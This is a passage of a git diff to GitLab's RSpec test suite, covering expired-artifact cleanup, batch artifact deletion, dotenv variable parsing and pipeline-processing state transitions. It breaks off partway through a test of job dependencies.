--- a/spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb
+++ b/spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb
@@ -53,6 +53,46 @@ RSpec.describe Ci::JobArtifacts::DestroyAllExpiredService, :clean_gitlab_redis_s
log = ActiveRecord::QueryRecorder.new { subject }
expect(log.count).to be_within(1).of(8)
end
+
+ context 'with several locked-unknown artifact records' do
+ before do
+ stub_const("#{described_class}::LOOP_LIMIT", 10)
+ stub_const("#{described_class}::BATCH_SIZE", 2)
+ end
+
+ let!(:lockable_artifact_records) do
+ [
+ create(:ci_job_artifact, :metadata, :expired, locked: ::Ci::JobArtifact.lockeds[:unknown], job: locked_job),
+ create(:ci_job_artifact, :junit, :expired, locked: ::Ci::JobArtifact.lockeds[:unknown], job: locked_job),
+ create(:ci_job_artifact, :sast, :expired, locked: ::Ci::JobArtifact.lockeds[:unknown], job: locked_job),
+ create(:ci_job_artifact, :cobertura, :expired, locked: ::Ci::JobArtifact.lockeds[:unknown], job: locked_job),
+ create(:ci_job_artifact, :trace, :expired, locked: ::Ci::JobArtifact.lockeds[:unknown], job: locked_job)
+ ]
+ end
+
+ let!(:unlockable_artifact_records) do
+ [
+ create(:ci_job_artifact, :metadata, :expired, locked: ::Ci::JobArtifact.lockeds[:unknown], job: job),
+ create(:ci_job_artifact, :junit, :expired, locked: ::Ci::JobArtifact.lockeds[:unknown], job: job),
+ create(:ci_job_artifact, :sast, :expired, locked: ::Ci::JobArtifact.lockeds[:unknown], job: job),
+ create(:ci_job_artifact, :cobertura, :expired, locked: ::Ci::JobArtifact.lockeds[:unknown], job: job),
+ create(:ci_job_artifact, :trace, :expired, locked: ::Ci::JobArtifact.lockeds[:unknown], job: job),
+ artifact
+ ]
+ end
+
+ it 'updates the locked status of job artifacts from artifacts-locked pipelines' do
+ subject
+
+ expect(lockable_artifact_records).to be_all(&:persisted?)
+ expect(lockable_artifact_records).to be_all { |artifact| artifact.reload.artifact_artifacts_locked? }
+ end
+
+ it 'unlocks and then destroys job artifacts from artifacts-unlocked pipelines' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(-6)
+ expect(Ci::JobArtifact.where(id: unlockable_artifact_records.map(&:id))).to be_empty
+ end
+ end
end
end
diff --git a/spec/services/ci/job_artifacts/destroy_batch_service_spec.rb b/spec/services/ci/job_artifacts/destroy_batch_service_spec.rb
index 1cc856734fc..0e7230c042e 100644
--- a/spec/services/ci/job_artifacts/destroy_batch_service_spec.rb
+++ b/spec/services/ci/job_artifacts/destroy_batch_service_spec.rb
@@ -3,59 +3,74 @@
require 'spec_helper'
RSpec.describe Ci::JobArtifacts::DestroyBatchService do
- let(:artifacts) { Ci::JobArtifact.all }
+ let(:artifacts) { Ci::JobArtifact.where(id: [artifact_with_file.id, artifact_without_file.id]) }
let(:service) { described_class.new(artifacts, pick_up_at: Time.current) }
+ let_it_be(:artifact_with_file, refind: true) do
+ create(:ci_job_artifact, :zip)
+ end
+
+ let_it_be(:artifact_without_file, refind: true) do
+ create(:ci_job_artifact)
+ end
+
+ let_it_be(:undeleted_artifact, refind: true) do
+ create(:ci_job_artifact)
+ end
+
describe '.execute' do
subject(:execute) { service.execute }
- let_it_be(:artifact, refind: true) do
- create(:ci_job_artifact)
+ it 'creates a deleted object for artifact with attached file' do
+ expect { subject }.to change { Ci::DeletedObject.count }.by(1)
end
- context 'when the artifact has a file attached to it' do
- before do
- artifact.file = fixture_file_upload(Rails.root.join('spec/fixtures/ci_build_artifacts.zip'), 'application/zip')
- artifact.save!
- end
+ it 'does not remove the attached file' do
+ expect { execute }.not_to change { artifact_with_file.file.exists? }
+ end
- it 'creates a deleted object' do
- expect { subject }.to change { Ci::DeletedObject.count }.by(1)
- end
+ it 'deletes the artifact records' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(-2)
+ end
- it 'does not remove the files' do
- expect { execute }.not_to change { artifact.file.exists? }
+ it 'reports metrics for destroyed artifacts' do
+ expect_next_instance_of(Gitlab::Ci::Artifacts::Metrics) do |metrics|
+ expect(metrics).to receive(:increment_destroyed_artifacts_count).with(2).and_call_original
+ expect(metrics).to receive(:increment_destroyed_artifacts_bytes).with(107464).and_call_original
end
- it 'reports metrics for destroyed artifacts' do
- expect_next_instance_of(Gitlab::Ci::Artifacts::Metrics) do |metrics|
- expect(metrics).to receive(:increment_destroyed_artifacts_count).with(1).and_call_original
- expect(metrics).to receive(:increment_destroyed_artifacts_bytes).with(107464).and_call_original
- end
+ execute
+ end
+
+ context 'ProjectStatistics' do
+ it 'resets project statistics' do
+ expect(ProjectStatistics).to receive(:increment_statistic).once
+ .with(artifact_with_file.project, :build_artifacts_size, -artifact_with_file.file.size)
+ .and_call_original
+ expect(ProjectStatistics).to receive(:increment_statistic).once
+ .with(artifact_without_file.project, :build_artifacts_size, 0)
+ .and_call_original
execute
end
- context 'ProjectStatistics' do
- it 'resets project statistics' do
- expect(ProjectStatistics).to receive(:increment_statistic).once
- .with(artifact.project, :build_artifacts_size, -artifact.file.size)
- .and_call_original
+ context 'with update_stats: false' do
+ it 'does not update project statistics' do
+ expect(ProjectStatistics).not_to receive(:increment_statistic)
- execute
+ service.execute(update_stats: false)
end
- context 'with update_stats: false' do
- it 'does not update project statistics' do
- expect(ProjectStatistics).not_to receive(:increment_statistic)
-
- service.execute(update_stats: false)
- end
+ it 'returns size statistics' do
+ expected_updates = {
+ statistics_updates: {
+ artifact_with_file.project => -artifact_with_file.file.size,
+ artifact_without_file.project => 0
+ }
+ }
- it 'returns size statistics' do
- expect(service.execute(update_stats: false)).to match(
- a_hash_including(statistics_updates: { artifact.project => -artifact.file.size }))
- end
+ expect(service.execute(update_stats: false)).to match(
+ a_hash_including(expected_updates))
end
end
end
@@ -71,7 +86,7 @@ RSpec.describe Ci::JobArtifacts::DestroyBatchService do
it 'raises an exception and stop destroying' do
expect { execute }.to raise_error(ActiveRecord::RecordNotDestroyed)
- .and not_change { Ci::JobArtifact.count }.from(1)
+ .and not_change { Ci::JobArtifact.count }
end
end
end
diff --git a/spec/services/ci/parse_dotenv_artifact_service_spec.rb b/spec/services/ci/parse_dotenv_artifact_service_spec.rb
index c4040a426f2..6bf22b7c8b2 100644
--- a/spec/services/ci/parse_dotenv_artifact_service_spec.rb
+++ b/spec/services/ci/parse_dotenv_artifact_service_spec.rb
@@ -23,6 +23,46 @@ RSpec.describe Ci::ParseDotenvArtifactService do
hash_including('key' => 'KEY2', 'value' => 'VAR2'))
end
+ context 'when dotenv variables are conflicting against manual variables' do
+ before do
+ create(:ci_job_variable, job: build, key: 'KEY1')
+ end
+
+ it 'returns an error message that there is a duplicate variable' do
+ subject
+
+ expect(subject[:status]).to eq(:error)
+ expect(subject[:message]).to include("Key (key, job_id)=(KEY1, #{build.id}) already exists.")
+ expect(subject[:http_status]).to eq(:bad_request)
+ end
+ end
+
+ context 'when dotenv variables have duplicate variables' do
+ let!(:artifact) { create(:ci_job_artifact, :dotenv, job: build) }
+ let(:blob) do
+ <<~EOS
+ KEY1=VAR1
+ KEY2=VAR2
+ KEY2=VAR3
+ KEY1=VAR4
+ EOS
+ end
+
+ before do
+ allow(artifact).to receive(:each_blob).and_yield(blob)
+ end
+
+ it 'latest values get used' do
+ subject
+
+ expect(subject[:status]).to eq(:success)
+
+ expect(build.job_variables.as_json).to contain_exactly(
+ hash_including('key' => 'KEY1', 'value' => 'VAR4'),
+ hash_including('key' => 'KEY2', 'value' => 'VAR3'))
+ end
+ end
+
context 'when parse error happens' do
before do
allow(service).to receive(:scan_line!) { raise described_class::ParserError, 'Invalid Format' }
diff --git a/spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb b/spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb
index a66d3898c5c..02f8f2dd99f 100644
--- a/spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb
+++ b/spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb
@@ -1,12 +1,1106 @@
# frozen_string_literal: true
require 'spec_helper'
-require_relative 'shared_processing_service'
-require_relative 'shared_processing_service_tests_with_yaml'
RSpec.describe Ci::PipelineProcessing::AtomicProcessingService do
- it_behaves_like 'Pipeline Processing Service'
- it_behaves_like 'Pipeline Processing Service Tests With Yaml'
+ describe 'Pipeline Processing Service Tests With Yaml' do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { project.owner }
+
+ where(:test_file_path) do
+ Dir.glob(Rails.root.join('spec/services/ci/pipeline_processing/test_cases/*.yml'))
+ end
+
+ with_them do
+ let(:test_file) { YAML.load_file(test_file_path) }
+ let(:pipeline) { Ci::CreatePipelineService.new(project, user, ref: 'master').execute(:pipeline).payload }
+
+ before do
+ stub_ci_pipeline_yaml_file(YAML.dump(test_file['config']))
+ end
+
+ it 'follows transitions' do
+ expect(pipeline).to be_persisted
+ Sidekiq::Worker.drain_all # ensure that all async jobs are executed
+ check_expectation(test_file.dig('init', 'expect'), "init")
+
+ test_file['transitions'].each_with_index do |transition, idx|
+ event_on_jobs(transition['event'], transition['jobs'])
+ Sidekiq::Worker.drain_all # ensure that all async jobs are executed
+ check_expectation(transition['expect'], "transition:#{idx}")
+ end
+ end
+
+ private
+
+ def check_expectation(expectation, message)
+ expect(current_state.deep_stringify_keys).to eq(expectation), message
+ end
+
+ def current_state
+ # reload pipeline and all relations
+ pipeline.reload
+
+ {
+ pipeline: pipeline.status,
+ stages: pipeline.stages.pluck(:name, :status).to_h,
+ jobs: pipeline.latest_statuses.pluck(:name, :status).to_h
+ }
+ end
+
+ def event_on_jobs(event, job_names)
+ statuses = pipeline.latest_statuses.by_name(job_names).to_a
+ expect(statuses.count).to eq(job_names.count) # ensure that we have the same counts
+
+ statuses.each do |status|
+ if event == 'play'
+ status.play(user)
+ else
+ status.public_send("#{event}!")
+ end
+ end
+ end
+ end
+ end
+
+ describe 'Pipeline Processing Service' do
+ let(:project) { create(:project, :repository) }
+ let(:user) { project.owner }
+
+ let(:pipeline) do
+ create(:ci_empty_pipeline, ref: 'master', project: project)
+ end
+
+ context 'when simple pipeline is defined' do
+ before do
+ create_build('linux', stage_idx: 0)
+ create_build('mac', stage_idx: 0)
+ create_build('rspec', stage_idx: 1)
+ create_build('rubocop', stage_idx: 1)
+ create_build('deploy', stage_idx: 2)
+ end
+
+ it 'processes a pipeline', :sidekiq_inline do
+ expect(process_pipeline).to be_truthy
+
+ succeed_pending
+
+ expect(builds.success.count).to eq(2)
+
+ succeed_pending
+
+ expect(builds.success.count).to eq(4)
+
+ succeed_pending
+
+ expect(builds.success.count).to eq(5)
+ end
+
+ it 'does not process pipeline if existing stage is running' do
+ expect(process_pipeline).to be_truthy
+ expect(builds.pending.count).to eq(2)
+
+ expect(process_pipeline).to be_falsey
+ expect(builds.pending.count).to eq(2)
+ end
+ end
+
+ context 'custom stage with first job allowed to fail' do
+ before do
+ create_build('clean_job', stage_idx: 0, allow_failure: true)
+ create_build('test_job', stage_idx: 1, allow_failure: true)
+ end
+
+ it 'automatically triggers a next stage when build finishes', :sidekiq_inline do
+ expect(process_pipeline).to be_truthy
+ expect(builds_statuses).to eq ['pending']
+
+ fail_running_or_pending
+
+ expect(builds_statuses).to eq %w(failed pending)
+
+ fail_running_or_pending
+
+ expect(pipeline.reload).to be_success
+ end
+ end
+
+ context 'when optional manual actions are defined', :sidekiq_inline do
+ before do
+ create_build('build', stage_idx: 0)
+ create_build('test', stage_idx: 1)
+ create_build('test_failure', stage_idx: 2, when: 'on_failure')
+ create_build('deploy', stage_idx: 3)
+ create_build('production', stage_idx: 3, when: 'manual', allow_failure: true)
+ create_build('cleanup', stage_idx: 4, when: 'always')
+ create_build('clear:cache', stage_idx: 4, when: 'manual', allow_failure: true)
+ end
+
+ context 'when builds are successful' do
+ it 'properly processes the pipeline' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names).to eq ['build']
+ expect(builds_statuses).to eq ['pending']
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w(build test)
+ expect(builds_statuses).to eq %w(success pending)
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w(build test deploy production)
+ expect(builds_statuses).to eq %w(success success pending manual)
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w(build test deploy production cleanup clear:cache)
+ expect(builds_statuses).to eq %w(success success success manual pending manual)
+
+ succeed_running_or_pending
+
+ expect(builds_statuses).to eq %w(success success success manual success manual)
+ expect(pipeline.reload.status).to eq 'success'
+ end
+ end
+
+ context 'when test job fails' do
+ it 'properly processes the pipeline' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names).to eq ['build']
+ expect(builds_statuses).to eq ['pending']
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w(build test)
+ expect(builds_statuses).to eq %w(success pending)
+
+ fail_running_or_pending
+
+ expect(builds_names).to eq %w(build test test_failure)
+ expect(builds_statuses).to eq %w(success failed pending)
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w(build test test_failure cleanup)
+ expect(builds_statuses).to eq %w(success failed success pending)
+
+ succeed_running_or_pending
+
+ expect(builds_statuses).to eq %w(success failed success success)
+ expect(pipeline.reload.status).to eq 'failed'
+ end
+ end
+
+ context 'when test and test_failure jobs fail' do
+ it 'properly processes the pipeline' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names).to eq ['build']
+ expect(builds_statuses).to eq ['pending']
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w(build test)
+ expect(builds_statuses).to eq %w(success pending)
+
+ fail_running_or_pending
+
+ expect(builds_names).to eq %w(build test test_failure)
+ expect(builds_statuses).to eq %w(success failed pending)
+
+ fail_running_or_pending
+
+ expect(builds_names).to eq %w(build test test_failure cleanup)
+ expect(builds_statuses).to eq %w(success failed failed pending)
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w(build test test_failure cleanup)
+ expect(builds_statuses).to eq %w(success failed failed success)
+ expect(pipeline.reload.status).to eq('failed')
+ end
+ end
+
+ context 'when deploy job fails' do
+ it 'properly processes the pipeline' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names).to eq ['build']
+ expect(builds_statuses).to eq ['pending']
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w(build test)
+ expect(builds_statuses).to eq %w(success pending)
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w(build test deploy production)
+ expect(builds_statuses).to eq %w(success success pending manual)
+
+ fail_running_or_pending
+
+ expect(builds_names).to eq %w(build test deploy production cleanup)
+ expect(builds_statuses).to eq %w(success success failed manual pending)
+
+ succeed_running_or_pending
+
+ expect(builds_statuses).to eq %w(success success failed manual success)
+ expect(pipeline.reload).to be_failed
+ end
+ end
+
+ context 'when build is canceled in the second stage' do
+ it 'does not schedule builds after build has been canceled' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names).to eq ['build']
+ expect(builds_statuses).to eq ['pending']
+
+ succeed_running_or_pending
+
+ expect(builds.running_or_pending).not_to be_empty
+ expect(builds_names).to eq %w(build test)
+ expect(builds_statuses).to eq %w(success pending)
+
+ cancel_running_or_pending
+
+ expect(builds.running_or_pending).to be_empty
+ expect(builds_names).to eq %w[build test]
+ expect(builds_statuses).to eq %w[success canceled]
+ expect(pipeline.reload).to be_canceled
+ end
+ end
+
+ context 'when listing optional manual actions' do
+ it 'returns only for skipped builds' do
+ # currently all builds are created
+ expect(process_pipeline).to be_truthy
+ expect(manual_actions).to be_empty
+
+ # succeed stage build
+ succeed_running_or_pending
+
+ expect(manual_actions).to be_empty
+
+ # succeed stage test
+ succeed_running_or_pending
+
+ expect(manual_actions).to be_one # production
+
+ # succeed stage deploy
+ succeed_running_or_pending
+
+ expect(manual_actions).to be_many # production and clear cache
+ end
+ end
+ end
+
+ context 'when delayed jobs are defined', :sidekiq_inline do
+ context 'when the scene is timed incremental rollout' do
+ before do
+ create_build('build', stage_idx: 0)
+ create_build('rollout10%', **delayed_options, stage_idx: 1)
+ create_build('rollout100%', **delayed_options, stage_idx: 2)
+ create_build('cleanup', stage_idx: 3)
+
+ allow(Ci::BuildScheduleWorker).to receive(:perform_at)
+ end
+
+ context 'when builds are successful' do
+ it 'properly processes the pipeline' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names_and_statuses).to eq({ 'build': 'pending' })
+
+ succeed_pending
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'scheduled' })
+
+ travel_to 2.minutes.from_now do
+ enqueue_scheduled('rollout10%')
+ end
+ succeed_pending
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'success', 'rollout100%': 'scheduled' })
+
+ travel_to 2.minutes.from_now do
+ enqueue_scheduled('rollout100%')
+ end
+ succeed_pending
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'success', 'rollout100%': 'success', 'cleanup': 'pending' })
+
+ succeed_pending
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'success', 'rollout100%': 'success', 'cleanup': 'success' })
+ expect(pipeline.reload.status).to eq 'success'
+ end
+ end
+
+ context 'when build job fails' do
+ it 'properly processes the pipeline' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names_and_statuses).to eq({ 'build': 'pending' })
+
+ fail_running_or_pending
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'failed' })
+ expect(pipeline.reload.status).to eq 'failed'
+ end
+ end
+
+ context 'when rollout 10% is unscheduled' do
+ it 'properly processes the pipeline' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names_and_statuses).to eq({ 'build': 'pending' })
+
+ succeed_pending
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'scheduled' })
+
+ unschedule
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'manual' })
+ expect(pipeline.reload.status).to eq 'manual'
+ end
+
+ context 'when user plays rollout 10%' do
+ it 'schedules rollout100%' do
+ process_pipeline
+ succeed_pending
+ unschedule
+ play_manual_action('rollout10%')
+ succeed_pending
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'success', 'rollout100%': 'scheduled' })
+ expect(pipeline.reload.status).to eq 'scheduled'
+ end
+ end
+ end
+
+ context 'when rollout 10% fails' do
+ it 'properly processes the pipeline' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names_and_statuses).to eq({ 'build': 'pending' })
+
+ succeed_pending
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'scheduled' })
+
+ travel_to 2.minutes.from_now do
+ enqueue_scheduled('rollout10%')
+ end
+ fail_running_or_pending
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'failed' })
+ expect(pipeline.reload.status).to eq 'failed'
+ end
+
+ context 'when user retries rollout 10%' do
+ it 'does not schedule rollout10% again' do
+ process_pipeline
+ succeed_pending
+ enqueue_scheduled('rollout10%')
+ fail_running_or_pending
+ retry_build('rollout10%')
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'pending' })
+ expect(pipeline.reload.status).to eq 'running'
+ end
+ end
+ end
+
+ context 'when rollout 10% is played immidiately' do
+ it 'properly processes the pipeline' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names_and_statuses).to eq({ 'build': 'pending' })
+
+ succeed_pending
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'scheduled' })
+
+ play_manual_action('rollout10%')
+
+ expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'pending' })
+ expect(pipeline.reload.status).to eq 'running'
+ end
+ end
+ end
+
+ context 'when only one scheduled job exists in a pipeline' do
+ before do
+ create_build('delayed', **delayed_options, stage_idx: 0)
+
+ allow(Ci::BuildScheduleWorker).to receive(:perform_at)
+ end
+
+ it 'properly processes the pipeline' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names_and_statuses).to eq({ 'delayed': 'scheduled' })
+
+ expect(pipeline.reload.status).to eq 'scheduled'
+ end
+ end
+
+ context 'when there are two delayed jobs in a stage' do
+ before do
+ create_build('delayed1', **delayed_options, stage_idx: 0)
+ create_build('delayed2', **delayed_options, stage_idx: 0)
+ create_build('job', stage_idx: 1)
+
+ allow(Ci::BuildScheduleWorker).to receive(:perform_at)
+ end
+
+ it 'blocks the stage until all scheduled jobs finished' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names_and_statuses).to eq({ 'delayed1': 'scheduled', 'delayed2': 'scheduled' })
+
+ travel_to 2.minutes.from_now do
+ enqueue_scheduled('delayed1')
+ end
+
+ expect(builds_names_and_statuses).to eq({ 'delayed1': 'pending', 'delayed2': 'scheduled' })
+ expect(pipeline.reload.status).to eq 'running'
+ end
+ end
+
+ context 'when a delayed job is allowed to fail' do
+ before do
+ create_build('delayed', **delayed_options, allow_failure: true, stage_idx: 0)
+ create_build('job', stage_idx: 1)
+
+ allow(Ci::BuildScheduleWorker).to receive(:perform_at)
+ end
+
+ it 'blocks the stage and continues after it failed' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names_and_statuses).to eq({ 'delayed': 'scheduled' })
+
+ travel_to 2.minutes.from_now do
+ enqueue_scheduled('delayed')
+ end
+ fail_running_or_pending
+
+ expect(builds_names_and_statuses).to eq({ 'delayed': 'failed', 'job': 'pending' })
+ expect(pipeline.reload.status).to eq 'pending'
+ end
+ end
+ end
+
+ context 'when an exception is raised during a persistent ref creation' do
+ before do
+ successful_build('test', stage_idx: 0)
+
+ allow_next_instance_of(Ci::PersistentRef) do |instance|
+ allow(instance).to receive(:delete_refs) { raise ArgumentError }
+ end
+ end
+
+ it 'process the pipeline' do
+ expect { process_pipeline }.not_to raise_error
+ end
+ end
+
+ context 'when there are manual action in earlier stages' do
+ context 'when first stage has only optional manual actions' do
+ before do
+ create_build('build', stage_idx: 0, when: 'manual', allow_failure: true)
+ create_build('check', stage_idx: 1)
+ create_build('test', stage_idx: 2)
+
+ process_pipeline
+ end
+
+ it 'starts from the second stage' do
+ expect(all_builds_statuses).to eq %w[manual pending created]
+ end
+ end
+
+ context 'when second stage has only optional manual actions' do
+ before do
+ create_build('check', stage_idx: 0)
+ create_build('build', stage_idx: 1, when: 'manual', allow_failure: true)
+ create_build('test', stage_idx: 2)
+
+ process_pipeline
+ end
+
+ it 'skips second stage and continues on third stage', :sidekiq_inline do
+ expect(all_builds_statuses).to eq(%w[pending created created])
+
+ builds.first.success
+
+ expect(all_builds_statuses).to eq(%w[success manual pending])
+ end
+ end
+ end
+
+ context 'when there are only manual actions in stages' do
+ before do
+ create_build('image', stage_idx: 0, when: 'manual', allow_failure: true)
+ create_build('build', stage_idx: 1, when: 'manual', allow_failure: true)
+ create_build('deploy', stage_idx: 2, when: 'manual')
+ create_build('check', stage_idx: 3)
+
+ process_pipeline
+ end
+
+ it 'processes all jobs until blocking actions encountered' do
+ expect(all_builds_statuses).to eq(%w[manual manual manual created])
+ expect(all_builds_names).to eq(%w[image build deploy check])
+
+ expect(pipeline.reload).to be_blocked
+ end
+ end
+
+ context 'when there is only one manual action' do
+ before do
+ create_build('deploy', stage_idx: 0, when: 'manual', allow_failure: true)
+
+ process_pipeline
+ end
+
+ it 'skips the pipeline' do
+ expect(pipeline.reload).to be_skipped
+ end
+
+ context 'when the action was played' do
+ before do
+ play_manual_action('deploy')
+ end
+
+ it 'queues the action and pipeline', :sidekiq_inline do
+ expect(all_builds_statuses).to eq(%w[pending])
+
+ expect(pipeline.reload).to be_pending
+ end
+ end
+ end
+
+ context 'when blocking manual actions are defined', :sidekiq_inline do
+ before do
+ create_build('code:test', stage_idx: 0)
+ create_build('staging:deploy', stage_idx: 1, when: 'manual')
+ create_build('staging:test', stage_idx: 2, when: 'on_success')
+ create_build('production:deploy', stage_idx: 3, when: 'manual')
+ create_build('production:test', stage_idx: 4, when: 'always')
+ end
+
+ context 'when first stage succeeds' do
+ it 'blocks pipeline on stage with first manual action' do
+ process_pipeline
+
+ expect(builds_names).to eq %w[code:test]
+ expect(builds_statuses).to eq %w[pending]
+ expect(pipeline.reload.status).to eq 'pending'
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w[code:test staging:deploy]
+ expect(builds_statuses).to eq %w[success manual]
+ expect(pipeline.reload).to be_manual
+ end
+ end
+
+ context 'when first stage fails' do
+ it 'does not take blocking action into account' do
+ process_pipeline
+
+ expect(builds_names).to eq %w[code:test]
+ expect(builds_statuses).to eq %w[pending]
+ expect(pipeline.reload.status).to eq 'pending'
+
+ fail_running_or_pending
+
+ expect(builds_names).to eq %w[code:test production:test]
+ expect(builds_statuses).to eq %w[failed pending]
+
+ succeed_running_or_pending
+
+ expect(builds_statuses).to eq %w[failed success]
+ expect(pipeline.reload).to be_failed
+ end
+ end
+
+ context 'when pipeline is promoted sequentially up to the end' do
+ before do
+ # Users need ability to merge into a branch in order to trigger
+ # protected manual actions.
+ #
+ create(:protected_branch, :developers_can_merge,
+ name: 'master', project: project)
+ end
+
+ it 'properly processes entire pipeline' do
+ process_pipeline
+
+ expect(builds_names).to eq %w[code:test]
+ expect(builds_statuses).to eq %w[pending]
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w[code:test staging:deploy]
+ expect(builds_statuses).to eq %w[success manual]
+ expect(pipeline.reload).to be_manual
+
+ play_manual_action('staging:deploy')
+
+ expect(builds_statuses).to eq %w[success pending]
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w[code:test staging:deploy staging:test]
+ expect(builds_statuses).to eq %w[success success pending]
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w[code:test staging:deploy staging:test
+ production:deploy]
+ expect(builds_statuses).to eq %w[success success success manual]
+
+ expect(pipeline.reload).to be_manual
+ expect(pipeline.reload).to be_blocked
+ expect(pipeline.reload).not_to be_active
+ expect(pipeline.reload).not_to be_complete
+
+ play_manual_action('production:deploy')
+
+ expect(builds_statuses).to eq %w[success success success pending]
+ expect(pipeline.reload).to be_running
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w[code:test staging:deploy staging:test
+ production:deploy production:test]
+ expect(builds_statuses).to eq %w[success success success success pending]
+ expect(pipeline.reload).to be_running
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w[code:test staging:deploy staging:test
+ production:deploy production:test]
+ expect(builds_statuses).to eq %w[success success success success success]
+ expect(pipeline.reload).to be_success
+ end
+ end
+ end
+
+ context 'when second stage has only on_failure jobs', :sidekiq_inline do
+ before do
+ create_build('check', stage_idx: 0)
+ create_build('build', stage_idx: 1, when: 'on_failure')
+ create_build('test', stage_idx: 2)
+
+ process_pipeline
+ end
+
+ it 'skips second stage and continues on third stage' do
+ expect(all_builds_statuses).to eq(%w[pending created created])
+
+ builds.first.success
+
+ expect(all_builds_statuses).to eq(%w[success skipped pending])
+ end
+ end
+
+ context 'when failed build in the middle stage is retried', :sidekiq_inline do
+ context 'when failed build is the only unsuccessful build in the stage' do
+ before do
+ create_build('build:1', stage_idx: 0)
+ create_build('build:2', stage_idx: 0)
+ create_build('test:1', stage_idx: 1)
+ create_build('test:2', stage_idx: 1)
+ create_build('deploy:1', stage_idx: 2)
+ create_build('deploy:2', stage_idx: 2)
+ end
+
+ it 'does trigger builds in the next stage' do
+ expect(process_pipeline).to be_truthy
+ expect(builds_names).to eq ['build:1', 'build:2']
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq ['build:1', 'build:2', 'test:1', 'test:2']
+
+ pipeline.builds.find_by(name: 'test:1').success!
+ pipeline.builds.find_by(name: 'test:2').drop!
+
+ expect(builds_names).to eq ['build:1', 'build:2', 'test:1', 'test:2']
+
+ Ci::Build.retry(pipeline.builds.find_by(name: 'test:2'), user).reset.success!
+
+ expect(builds_names).to eq ['build:1', 'build:2', 'test:1', 'test:2',
+ 'test:2', 'deploy:1', 'deploy:2']
+ end
+ end
+ end
+
+ context 'when builds with auto-retries are configured', :sidekiq_inline do
+ before do
+ create_build('build:1', stage_idx: 0, user: user, options: { script: 'aa', retry: 2 })
+ create_build('test:1', stage_idx: 1, user: user, when: :on_failure)
+ create_build('test:2', stage_idx: 1, user: user, options: { script: 'aa', retry: 1 })
+ end
+
+ it 'automatically retries builds in a valid order' do
+ expect(process_pipeline).to be_truthy
+
+ fail_running_or_pending
+
+ expect(builds_names).to eq %w[build:1 build:1]
+ expect(builds_statuses).to eq %w[failed pending]
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w[build:1 build:1 test:2]
+ expect(builds_statuses).to eq %w[failed success pending]
+
+ succeed_running_or_pending
+
+ expect(builds_names).to eq %w[build:1 build:1 test:2]
+ expect(builds_statuses).to eq %w[failed success success]
+
+ expect(pipeline.reload).to be_success
+ end
+ end
+
+ context 'when pipeline with needs is created', :sidekiq_inline do
+ let!(:linux_build) { create_build('linux:build', stage: 'build', stage_idx: 0) }
+ let!(:mac_build) { create_build('mac:build', stage: 'build', stage_idx: 0) }
+ let!(:linux_rspec) { create_build('linux:rspec', stage: 'test', stage_idx: 1, scheduling_type: :dag) }
+ let!(:linux_rubocop) { create_build('linux:rubocop', stage: 'test', stage_idx: 1, scheduling_type: :dag) }
+ let!(:mac_rspec) { create_build('mac:rspec', stage: 'test', stage_idx: 1, scheduling_type: :dag) }
+ let!(:mac_rubocop) { create_build('mac:rubocop', stage: 'test', stage_idx: 1, scheduling_type: :dag) }
+ let!(:deploy) { create_build('deploy', stage: 'deploy', stage_idx: 2) }
+
+ let!(:linux_rspec_on_build) { create(:ci_build_need, build: linux_rspec, name: 'linux:build') }
+ let!(:linux_rubocop_on_build) { create(:ci_build_need, build: linux_rubocop, name: 'linux:build') }
+
+ let!(:mac_rspec_on_build) { create(:ci_build_need, build: mac_rspec, name: 'mac:build') }
